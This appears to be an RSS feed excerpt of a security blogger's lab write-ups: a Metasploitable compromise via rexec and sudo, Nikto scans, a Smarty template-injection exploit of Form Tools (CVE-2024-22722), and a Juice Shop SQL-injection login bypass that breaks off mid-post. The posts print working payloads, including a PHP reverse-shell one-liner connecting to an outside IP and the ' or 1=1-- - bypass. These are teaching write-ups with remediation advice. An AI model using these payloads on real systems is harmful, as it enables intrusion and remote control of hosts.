            <content:encoded><![CDATA[<h3>Vulnerability Assessment and Exploitation: Leveraging GVM, Nmap, and RSH for Complete Host Compromise</h3><p>Author: <a href="https://kiza.online/">https://kiza.online/</a></p><h3>Overview</h3><p>This engagement documents a closed-environment assessment of a Metasploitable web server target using the <strong>Greenbone Vulnerability Manager (GVM)</strong> to discover, validate, and then using <strong>Nmap</strong> and <strong>rsh-client</strong> to exploit a remote command service vulnerability. It also reviewed suggested remediations; the exercise demonstrates a full scanner-to-exploit workflow that mirrors how an attacker might validate findings from an automated scan in a real environment.</p><h3>The Challenge</h3><p>Identify exploitable services reported by <strong>GVM</strong>, confirm the findings using active reconnaissance, and where feasible demonstrate the impact of an uncovered vulnerability by obtaining a remote shell and escalating privileges, while keeping all actions repeatable and well-documented for remediation guidance. The project focused on a running <strong>rexec</strong> service discovered by the scanner and on lateral information available via SMB that could yield credentials.</p><h3>The Approach</h3><p>I followed a methodical three-part approach that mirrors professional test practices: run a full authenticated/unauthenticated scan with <strong>GVM</strong> to discover and prioritize issues, perform targeted active reconnaissance with <strong>Nmap</strong> to validate and enrich findings, and execute a conservative, documented exploit using standard system clients to confirm impact and collect remediation evidence, all while capturing the exact commands and outcomes for reproducibility.</p><h3>Tools used</h3><ul><li><strong>GVM (Greenbone Security Assistant)</strong>: vulnerability discovery and reporting via web UI.</li><li><strong>Nmap: </strong>service and script-based reconnaissance (smb-brute).</li><li><strong>rsh-client</strong> (remote shell client): used to interact with a vulnerable <strong>rexec</strong> service</li><li><strong>Kali Linux: </strong>attacker platform hosting the scanner, tools, and commands.</li><li><strong>Metasploitable: </strong>intentionally vulnerable target VM used for validation.</li></ul><h3>The Execution</h3><h3>Part 1: Scan a Host for Vulnerabilities</h3><h4><strong>Start the GVM services</strong></h4><p>I started the scanner services with sudo gvm-start so the <strong>GVM</strong> background daemons and web interface were running on the Kali host and available at the local HTTPS endpoint for the next steps; this ensures the scanner is ready to accept tasks and generate reports.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jUsLwLp1QWyiagYFM86CIg.png" /></figure><p>When the command completes the Greenbone Security Assistant UI becomes reachable at https://127.0.0.1:9392, or if the command reports that services are already running; this confirms the environment is prepared to create and execute scanning tasks.</p><h4><strong>Log in to the Greenbone Security Assistant UI</strong></h4><p>I opened the browser to https://127.0.0.1:9392 and authenticated to gain the UI access required to create tasks and run scans; this is the standard web GUI entry point for task configuration and report access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h8j9pauE_Ufo38C-CXJeyA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rjfnsdRyVkOh0Xthf55WyA.png" /></figure><p>Successful authentication confirms the GVM server is responsive and that I can create scanning tasks and retrieve the generated reports that will enumerate discovered vulnerabilities.</p><h4><strong>Create and run an advanced scan task for the Metasploitable host</strong></h4><p>I used the GVM GUI: selected <strong>Scans → Tasks</strong>, launched the <strong>Task Wizard → Advanced Task Wizard</strong>, created a task named Metasploitable with 172.17.0.2 in the Target Host(s) field, and started the task so the scanner would perform the configured NVTs (network vulnerability tests) against the target and generate a results report. (The UI path used was Scans -&gt; Tasks -&gt; Task Wizard -&gt; Advanced Task Wizard, Target 172.17.0.2).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Voe9Mw8tAhjm5kizDt4i5A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9q2LPCtSCk_plV6XqIZK2Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jqhuVAJH8LexTxlXM-tdwA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C-tzbjLFF3kmBFxB0rSlmA.png" /></figure><p>The task appears in the Tasks window and shows a progress indicator; once the status reaches Done (100%) a report entry is added to the Reports column from which vulnerability findings and NVT details can be inspected. This is the canonical way to create repeatable scan runs in <strong>GVM</strong>.</p><h4><strong>Open the generated report and identify high-priority findings</strong></h4><p>I opened the report by clicking the report count for the Metasploitable task, inspected the Results list, and focused on high severity entries such as The rexec service is running and other top items to prioritize follow-up reconnaissance and validation. (Open the report and click the The rexec service is running finding.)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t6xb_-J6-CXPTCw8QlpFnA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Er7iTPpf-XT-Eid4UiwQJA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RedP2_pwxILjej_16Cszgg.png" /></figure><p>The report provides an aggregated list of findings with insight and solution text; selecting a finding reveals the associated CVE and NVT details that explain how the vulnerability was detected and offers remediation suggestions used later for mitigation.</p><h4><strong>Inspect the CVE and NVT details for the rexec finding</strong></h4><p>I clicked the CVE linked to the rexec finding and then the underlying NVT reference in the CVE window to view the precise detection logic and contextual notes so I could understand the exposure, which ports the service uses (typically TCP 512, 513, 514), and recommended mitigation. (Click CVE, then NVT.)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AJmt7px4T7WxojtmGBVXgA.png" /></figure><p>The CVE/NVT view clarifies that the rexec service was detected listening on its canonical ports and provides recommended mitigation actions such as disabling the service and using secure alternatives like <strong>SSH</strong>, which informs the remediation guidance.</p><h3>Part 2: Exploit a Vulnerability Found by GVM</h3><h4><strong>Perform targeted reconnaissance with Nmap using the smb-brute script</strong></h4><p>I executed sudo nmap -sV -p 445 -script smb-brute 172.17.0.2 to enumerate SMB accounts and attempt common credentials because SMB user lists and weak/default credentials can map to system accounts usable against other services like the found rexec vulnerability in the gvm scan.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PlNRu7a5y6ghBS0qMm2ezg.png" /></figure><p>The Host script results section of the nmap output lists username and password pairs such as msfadmin/msfadmin and user/user, which are high-value leads because credentials discovered via SMB often work for other services on the host.</p><h4><strong>Install the remote shell client (rsh-client) on Kali</strong></h4><p>I installed the remote shell client with sudo apt install rsh-redone-client to obtain a standard rsh binary so I could directly attempt authentication to the rexec service using credentials discovered during the SMB enumeration. sudo apt install rsh-redone-client</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-b4l7sAc4fWXo0GPV_SgpQ.png" /></figure><p>Installing rsh-client provides the client utility required to interact with a rexec/rsh service from the Kali machine; without it the next step to validate the rexec service would not be possible locally.</p><h4><strong>Use </strong><strong>rsh to authenticate to the target as </strong><strong>msfadmin</strong></h4><p>I launched rsh -l msfadmin 172.17.0.2 to connect to the target rexec service using the msfadmin account uncovered earlier, so I could obtain an interactive remote shell and validate whether the service allowed remote command execution without additional controls. rsh -l msfadmin 172.17.0.2</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2Cyj1nUcRM8IVnBvzTqsYQ.png" /></figure><p>The login succeeded and the shell prompt changed to the remote user (msfadmin@metasploitable), confirming that the rexec service accepted the credentials and provided remote command execution capability. This validates the scanner finding at the exploitation level.</p><h4><strong>Confirm remote working directory with </strong><strong>pwd</strong></h4><p>I ran pwd at the remote prompt to quickly confirm the session context and confirm that I was executing commands in the expected user environment /home/msfadmin, which helps orient follow-up actions and privilege escalation attempts. pwd</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TNp5QKPs5Dseg6UBnwaLqA.png" /></figure><p>The output /home/msfadmin indicates the session is an interactive shell tied to the msfadmin account and permits subsequent local commands and privilege escalation attempts under that user context.</p><h4><strong>Escalate privileges to root with </strong><strong>sudo su</strong></h4><p>I attempted sudo su at the remote prompt and provided the msfadmin password discovered earlier to elevate privileges, which succeeded and yielded a root shell root@metasploitable:/home/msfadmin#, demonstrating a full compromise when combined with the initial remote execution vector. sudo su then password msfadmin</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BDXQO1lcJd60WeMt7awGZw.png" /></figure><p>Receipt of a root shell confirms the practical impact of the vulnerability: an attacker who can authenticate via rexec using a valid account can fully compromise the host by performing local privilege escalation with common sudo policies; this is a critical validation that converts an informational scanner finding into a high-impact exploit scenario.</p><h4><strong>Cleanly exit the session and confirm connection closure</strong></h4><p>I typed exit twice to drop from the root shell to the remote user and then close the remote connection, ensuring a clean end to the test session and predictable artifact generation in logs. exit</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gQQS6Zqfc-uNppnLqnSzag.png" /></figure><p>Exiting the shell closes the remote session and simulates an attacker finishing their interaction; it also leaves the system in a known state for subsequent validation or remediation scans.</p><h3>The outcomes, lessons learned, and relevance to cybersecurity</h3><ul><li><strong>Outcome:</strong> The <strong>GVM</strong> scan successfully identified the <strong>rexec</strong> service; targeted reconnaissance with <strong>Nmap</strong> revealed valid credentials; use of the standard <strong>rsh</strong> client validated remote execution and a sudo su escalation yielded a root shell on the Metasploitable target, demonstrating that the vulnerability is exploitable in practice.</li><li><strong>Lessons learned:</strong></li><li>Automated scanners are valuable for discovery and prioritization but must be followed by focused reconnaissance to validate findings and identify attack paths.</li><li>Credential reuse and weak/default credentials are common escalation enablers; discovering a valid account through one service (SMB) can enable exploitation of another (rexec).</li><li>Services that permit unauthenticated or weakly authenticated remote command execution are high-risk and should be replaced with secure alternatives or removed. Mitigation recommendation is to disable <strong>rexec</strong> and prefer <strong>SSH</strong> for remote administration.</li><li><strong>Practical remediation recommendations</strong> :</li><li>Immediately disable <strong>rexec/rsh</strong> services on production systems and block TCP ports 512, 513, and 514 at network boundaries where not required.</li><li>Enforce unique, strong passwords and implement centralized authentication with multifactor authentication where possible to prevent credential reuse across services.</li><li>Re-scan the host with <strong>GVM</strong> after remediation to confirm removal of the NVT findings and to ensure no other high severity findings remain.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/256/1*rWnaqDdHW_F1vtM93sN1NQ.jpeg" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6d09a12ea5df" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Evaluating Web Server Security Posture Using Nikto: Findings, Methodology & Analysis]]></title>
            <link>https://kizerh.medium.com/evaluating-web-server-security-posture-using-nikto-findings-methodology-analysis-5de3e11628d5?source=rss-51da61495e5d------2</link>
            <guid isPermaLink="false">https://medium.com/p/5de3e11628d5</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[nmap]]></category>
            <category><![CDATA[vulnerability-management]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[nikto]]></category>
            <dc:creator><![CDATA[Kiza]]></dc:creator>
            <pubDate>Sun, 23 Nov 2025 16:12:27 GMT</pubDate>
            <atom:updated>2025-11-23T16:12:27.897Z</atom:updated>
            <content:encoded><![CDATA[<p>Author: <a href="https://kiza.online/">https://kiza.online/</a></p><h3>Overview</h3><p>This project documents a professional web vulnerability assessment using <strong>Nikto</strong>, an open-source scanner, to identify and interpret common security issues across both public and internal web servers. The aim was to detect misconfigurations, outdated software, and missing security headers, then document findings in a report suitable for remediation planning.</p><h3>The Challenge</h3><p>Many web servers (both internet-facing and internal) expose unnecessary risks due to missing security controls, unpatched software, or insecure configurations. The challenge was to run a targeted vulnerability assessment, interpret scanner output in a meaningful way, and produce a clear, actionable record for stakeholders.</p><h3>The Approach</h3><p>The project was approached by validating the tool installation first , then running tests against a safe public endpoint to understand Nikto’s output. Next, I expanded to scanning HTTPS targets and multiple internal hosts from a prepared inventory file, researched CVE references for context, and exported the results for archival.</p><h3>Tools used</h3><ul><li><strong>Nikto</strong> (web vulnerability scanner)</li><li><strong>Kali Linux</strong> (assessment platform)</li><li><strong>Text editor</strong> (MousePad) to prepare target lists</li><li><strong>Firefox</strong> (for target policy review and vulnerability references)</li></ul><h3>The Execution</h3><h4>Confirm tool availability and usage</h4><p>Before beginning the scans, I confirmed that Nikto was installed and reviewed its available options to ensure I could run it effectively. I logged into the Kali virtual machine, opened a terminal, and entered the help command:</p><pre>nikto --help</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eORiYTR162smOSjoGN2Kyg.png" /></figure><p>The output confirmed the tool was ready and displayed its available flags, output formats, and example usage.</p><h3>Validate target scope and permissions</h3><p>Since responsible scanning begins with confirming permissions, I opened Firefox and navigated to http://scanme.nmap.org to check its terms of use since it will be our target</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zdgfclG07x2kHwgVhps38Q.png" /></figure><p>The page confirmed the site is designed for safe scanning practice, with restrictions such as a limit on scan volume and prohibited attack types.</p><h4>Perform a basic HTTP scan</h4><p>To establish a baseline, I ran a simple scan of the public test target:</p><pre>nikto -h scanme.nmap.org</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*67i6ZESWBn1OT7Aiu5sOnQ.png" /></figure><p>The scan revealed missing security headers (X-Frame-Options and X-Content-Type-Options), an outdated Apache version, and enabled mod_negotiation with MultiViews; issues that could lead to clickjacking, MIME-type sniffing, and file-name brute-forcing.</p><h4>Research a reported vulnerability</h4><p>To better understand one of the findings, I followed the Netsparker link in the output for the missing X-Content-Type-Options header and reviewed the guidance.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QilWb0sgZBZdUMTAV1MPTQ.png" /></figure><p>The recommendation was to set the content-type header correctly and add X-Content-Type-Options: nosniff to prevent browsers from misinterpreting MIME types.</p><h4>Scan an HTTPS-enabled host</h4><p>I wanted to verify that Nikto could assess secure services as well, so I targeted an HTTPS site using the SSL flag:</p><pre>nikto -h &lt;https://nmap.org&gt; -ssl</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2jqzWNtzgD9na6MgC0UMVg.png" /></figure><p>The tool successfully connected to port 443 and performed vulnerability checks tailored to an SSL/TLS-enabled environment.</p><h3>Phase 2: Internal Network Scanning</h3><h4>Prepare a batch target list for internal scanning</h4><p>Scanning every host individually can be tedious, so in order to efficiently assess multiple internal hosts in a single, repeatable operation, I opened the text editor and created a file named IP_list.txt in the home directory containing the addresses in my network</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oN22cumJz_MXPOUCp93_Tw.png" /></figure><p>The file served as a simple inventory for Nikto to iterate through, avoiding repeated manual entry and improving reproducibility.</p><h4>Executed a batch scan across internal targets</h4><p>Using the prepared inventory, I launched a scan against all listed hosts using the command below:</p><pre>nikto -h IP_list.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WKvuWNgQqpcOCEQtHSbwYw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nxjcyA2SVCs0PMaZVrFLoQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MHrBbbw4zElEqqJC1lGNEQ.png" /></figure><p>The output showed that four systems were running web servers, with three hosting <strong>Apache</strong> and one was hosting <strong>nginx.</strong> The results showed that the web servers were vulnerable to a wide range of attacks. The results identified Outdated Apache Versions, HTTP TRACE Method Enabled, Apache Multiviews Enabled, Information Disclosure, Missing Security Headers, and Sensitive Files and Directories among others.</p><h4>Investigated CVEs in the results</h4><p>I noticed that the webserver 172.17.0.2 had vulnerabilities linked to specific CVEs, such as <strong>CVE-1999–0678</strong> and <strong>CVE-2003–1418, so</strong> I followed these references to the MITRE and NVD databases to review their details and recommended mitigations.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mCvsXUmhM_qvxqb2pCaGcg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o8gOX0R4UJS6c4QhwDaGag.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6wP1k-exigE-DSK0hS_uMQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kz9kOow7lBxZ2kGXhlTO6g.png" /></figure><p>This provided authoritative vulnerability descriptions, severity ratings, and remediation guidance for integration into the final report.</p><h4>Export and archive results</h4><p>To create a permanent record, I exported the scan output to an HTML file:</p><pre>nikto -h scanme.nmap.org -o scan_results.html</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wK9cMZxGTc0s73oKTm5Xiw.png" /></figure><p>This generated a neatly formatted .html report suitable for distribution to stakeholders and archiving for compliance purposes.</p><h3>The Result</h3><p>The project successfully identified configuration weaknesses and outdated software across both public and internal targets. The findings provided actionable insights for improving security posture, such as adding missing headers, upgrading outdated Apache installations, and addressing vulnerabilities tied to known CVEs.</p><p><strong>Lessons learned</strong></p><ul><li>Confirming scope and permissions is an essential first step before scanning.</li><li>Even small configuration oversights can expose systems to avoidable risks.</li><li>Batch scanning streamlines assessments across multiple hosts.</li><li>Exported reports add value by enabling review, tracking, and compliance.</li></ul><p><strong>Relevance to cybersecurity</strong></p><p>Proactive web vulnerability scanning is critical for detecting weaknesses before they are exploited. This project demonstrated how focused use of an open-source tool can translate raw scan output into meaningful, prioritized remediation actions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FKwphNkFR1Zv6mlPxLPRNA.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5de3e11628d5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Advanced Template Injection Lifecycle From Input Vector Discovery to Command Execution and Post…]]></title>
            <link>https://kizerh.medium.com/advanced-template-injection-lifecycle-from-input-vector-discovery-to-command-execution-and-post-c1e8998de131?source=rss-51da61495e5d------2</link>
            <guid isPermaLink="false">https://medium.com/p/c1e8998de131</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[template-injection]]></category>
            <dc:creator><![CDATA[Kiza]]></dc:creator>
            <pubDate>Mon, 17 Nov 2025 03:01:01 GMT</pubDate>
            <atom:updated>2025-11-17T03:01:01.535Z</atom:updated>
            <content:encoded><![CDATA[<h3>Advanced Template Injection Lifecycle From Input Vector Discovery to Command Execution and Post Exploit Enumeration</h3><p>Author: <a href="https://kiza.online/">https://kiza.online/</a></p><h3>Overview</h3><p>This entry documents a completed exploitation exercise targeting CVE 2024 22722 in Form Tools version 3.1.1. The engagement was performed in a controlled environment following a <a href="https://medium.com/u/dc49a0a3cb16">TryHackMe</a> room scenario. The objective was to confirm a server side template injection vulnerability in the form creation workflow, to identify the template engine in use, and to demonstrate command execution and a practical proof of concept for remote code execution.</p><h3>The Challenge</h3><p>Form Tools is an open source PHP application for building and managing web forms and storing form data on a MySQL backend. It is widely used to create data capture workflows without custom coding. A server side template injection vulnerability in the group name field under the add forms flow can allow an attacker to run arbitrary commands on the host by injecting template expressions that the server evaluates. This issue is tracked as CVE-2024–22722 and has been published in common vulnerability databases and advisory feeds.</p><h3>The Approach</h3><p>The assessment followed a standard web application exploitation workflow that mirrors professional pentest practice. Steps included authenticated access to administration functions, identification of user controlled template data, safe probing to detect template evaluation and template engine fingerprinting, controlled command execution to confirm exploitability, and development of a proof of concept reverse shell. All actions were limited to an isolated test instance provided by the TryHackMe exercise. Public advisories and vendor documentation were referenced to validate findings and to ensure the results aligned with published details.</p><h3>Tools used</h3><ol><li>Local browser for interactive administration and content editing</li><li>TryHackMe lab instance as the test target environment</li><li>Local listener for reverse shell handling using netcat or similar</li></ol><h3>The Execution</h3><h4>Administrator login</h4><p>I authenticated to the application as the administrator and verified access to the form builder user interface.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6LBJgOTawhnkGyWnpotbiw.png" /></figure><h4>Creating an internal form</h4><p>I created a new form, selected internal forms, named the form, and specified the number of fields needed for the exercise. The creation process showed an editable group name element which became our attack surface.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TtG-0wKIZrJaFtWPBiYmug.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Kf3KV91dg_qMS3nxnxjxTg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OamCocK9TFxH_bieLx3Duw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XTwKNf3PGk7I46YoqYfAww.png" /></figure><h4>Identifying a template evaluation point</h4><p>Under the view tab I added and updated a group name. The value I entered was reflected back in the interface which suggested server side template rendering.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EeAU0VfyAcTrO5a0QWdbRQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KwsEnzZbPRGoJOGIlrv3pg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AiR90w8ZBuQbPY6VIymg0Q.png" /></figure><p>I tested a known server side template injection polyglot ${{&lt;%[%&#39;&quot;}}%\\.which produced an error that revealed the template engine and confirmed that template expressions were evaluated on the server. The error message indicated the engine in use was PHP Smarty.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ws71uf3tuKPW6rSL6Mn_jA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3_nlQCXjor0NsR1dbrp48w.png" /></figure><h4>Engine fingerprinting with a benign expression</h4><p>To confirm Smarty I submitted a small test expression that calls the built in filter functions. The payload {&#39;hello&#39;|upper} returned HELLO as the updated group name which proved that Smarty expressions were evaluated and that the application applied them to user supplied group names.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jJ2GYdfbtET1ihtUY2WY5g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*buyucA_7IML44opp4oyFTQ.png" /></figure><h4>From evaluation to command execution</h4><ol><li>Knowing that Smarty can execute system commands through its function syntax I tried a proof of concept system command. The payload {system(&quot;id&quot;)} returned the expected output for the system id command which confirmed remote command execution capability via the template injection vector.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZYG0YZ2a90ig0u2UxTomTA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NODJjtGQ5iADAyYbbN0X5Q.png" /></figure><h4>Preparing a reverse shell payload</h4><p>With command execution confirmed I generated a PHP reverse shell payload suitable for execution via the template call. Because the command is placed inside double quotes in the template expression it was necessary to escape embedded double quotes and to escape shell sensitive characters such as the dollar sign $ so the command reaches PHP intact. Escaping ensures the literal characters are preserved until PHP executes the payload. The prepared payload was adapted from a known reverse shell template and escaped accordingly so it could be injected into the system call.</p><pre>##The command from revshells.com <br><br>php -r &#39;$sock=fsockopen(&quot;10.21.18.51&quot;,1234);exec(&quot;sh &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3&quot;);&#39;  <br><br><br>##The command with the the escaped characters <br><br>php -r &#39;\\$sock=fsockopen(\\&quot;10.21.18.51\\&quot;,1234);exec(\\&quot;sh &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3\\&quot;);&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IQV8km7hX1u5_68V3Wj94Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IQV8km7hX1u5_68V3Wj94Q.png" /></figure><h4>Listener setup and payload injection</h4><p>I opened a local listener on my machine and then injected the escaped PHP reverse shell inside the update field that is evaluated by Smarty. Submission of that field caused the application to execute the payload and connect back to the listener producing an interactive shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NsEQlTbtGhX6QtE2iBvHDQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*omlNv1UOYMl37jGXhnoW4Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sWojvRchJwp_xHmyP0TIzw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Yn7UZN3lG12LxW0jY2ExMw.png" /></figure><h4>Final operational note</h4><p>All artifacts including request captures and command outputs were recorded for traceability and for use in remediation verification. This test was executed in a lab environment to avoid any risk to production systems.</p><h3>The Outcome</h3><p>I validated that Form Tools core version 3.1.1 evaluates user supplied group names with the Smarty template engine and that this evaluation allows execution of arbitrary system commands. The vulnerability can be exploited by an authenticated actor with access to the form creation workflow and it leads to remote code execution on the host when the payload is crafted to invoke system commands or to drop an interactive backdoor.</p><h3>Lessons learned and recommendations</h3><ol><li>Treat any user editable template inputs as untrusted data and avoid evaluating them directly in a template engine.</li><li>Disable or restrict template features that allow execution of system commands or functions.</li><li>Apply strict input validation on endpoints and sanitize values before passing them to any template renderer.</li><li>Run web applications with the least privilege required so that any command execution is constrained.</li><li>Maintain an update cadence for third party packages and monitor advisories to reduce exposure to known vulnerabilities.</li></ol><h3>Relevance to cybersecurity practice</h3><p>This exercise highlights how template engines can introduce a high impact attack surface when user supplied content reaches template rendering without adequate controls. The issue maps to a real world threat where an attacker who gains administrative access to low friction features such as form creation can pivot to full host compromise. The findings support prioritizing template handling controls in secure coding guidance, in vulnerability scanning, and in incident detection rules.</p><h3>Appendix and next steps</h3><p>Retain captured artifacts and replayable requests for remediation testing. Validate vendor patches or configuration mitigations in a staging environment and then schedule a targeted retest. Consider training for application teams on safe template usage and on secure administration workflows.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c1e8998de131" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Holistic Injection Exploit Report Mapping Vulnerable Input Points to Account Takeover and…]]></title>
            <link>https://kizerh.medium.com/holistic-injection-exploit-report-mapping-vulnerable-input-points-to-account-takeover-and-b8a093f4e17d?source=rss-51da61495e5d------2</link>
            <guid isPermaLink="false">https://medium.com/p/b8a093f4e17d</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[web-application-security]]></category>
            <category><![CDATA[owasp-juice-shop]]></category>
            <dc:creator><![CDATA[Kiza]]></dc:creator>
            <pubDate>Mon, 17 Nov 2025 02:22:20 GMT</pubDate>
            <atom:updated>2025-11-17T02:22:20.326Z</atom:updated>
            <content:encoded><![CDATA[<h3>Holistic Injection Exploit Report Mapping Vulnerable Input Points to Account Takeover and Comprehensive Data Exposure</h3><p>Author: <a href="https://kiza.online/">https://kiza.online/</a></p><h3>Overview</h3><p>This document records a completed ethical hacking engagement conducted against an instance of OWASP Juice Shop. The engagement focus was practical exploration of SQL injection vulnerabilities within authentication and search functionality. The goal was to validate the presence of exploitable SQL injection, demonstrate account compromise paths, and extract sensitive data in a controlled environment.</p><h3>The Challenge</h3><p>The primary issue explored was improper input handling that allowed SQL injection affecting authentication and application search features. The objectives were to gain authenticated access to privileged accounts, discover additional user accounts through crafted queries, and enumerate database content through application functionality that accepted user input without sufficient validation.</p><h3>The Approach</h3><p>The engagement followed a methodical, evidence driven approach that mirrors professional vulnerability assessments. Initial reconnaissance targeted authentication endpoints and visible input vectors. Focused testing aimed to confirm injection capability and measure the scope of impact. Once authentication bypass was achieved forensic style enumeration followed to identify additional accounts and to map database structure via the search functionality. Throughout the process I maintained detailed notes of payloads used, application responses, and session artifacts to support reproducibility and remediation guidance.</p><h3>Tools used (Burp Suite, Docker Image of OWASP Juice Shop)</h3><ol><li>Burp Suite for interception, payload crafting, request replay, and automated scanning where appropriate.</li><li>Docker image of OWASP Juice Shop used to provide an isolated, reproducible target environment.</li><li>Browser for manual interaction and verification of application behavior.</li><li>Local logging and note taking for chain of custody of findings.</li></ol><h3>The Execution</h3><h4>Environment bring up</h4><p>I launched the Juice Shop container on the local loopback and bound it to port 3000 with the following command. Screenshot follows.</p><pre>docker run -d -p 127.0.0.1:3000:3000 bkimminich/juice-shop</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nNRHlHo3SOFFEq9Pc5fdPQ.png" /></figure><h4>First contact with the target</h4><p>I navigated to the application at http://localhost:3000 using the Chromium instance attached to Burp. I performed a quick manual browse to identify visible input points.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yP1A8PYFQ259T-eavSxo4g.png" /></figure><h4>Intercepting the login flow</h4><p>I attempted a normal login with arbitrary credentials and captured the HTTP request in Burp proxy. The request was sent to Repeater to facilitate rapid payload testing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IK1TgtGn-HlkHJNvOMSr7w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BUXMsIPyh_-Re2rr7tupbQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r2ccDJa0MyNvuKC4EIg5_A.png" /></figure><h4>Proving the presence of SQL injection</h4><p>As an initial probe I injected a single quote character &#39; to observe application reaction. The single quote produced a database error revealing a SQLite backend. This confirmed that unsanitized input reached SQL parsing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9fwGvyiekdiYN9SIwqNiGw.png" /></figure><h4><strong>Authentication bypass to a privileged account</strong></h4><p>With confirmation that injection was possible I crafted a payload that forces the condition to evaluate as true and commented out the rest of the original clause using a block comment. This caused the authentication query to return a usable row and resulted in a login as the administrative user.</p><pre>#Payload used:-  <br><br>&#39; or 1=1-- -</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lmewrUBQXFlklk0qXHc5OA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*atLf4Td2MO3CFAi_Y2ytWw.png" /></figure><h4><strong>Discovery of additional account credentials in application content</strong></h4><p>While exploring the application I examined product reviews and found an email address used by another account.</p><figure><img alt="" 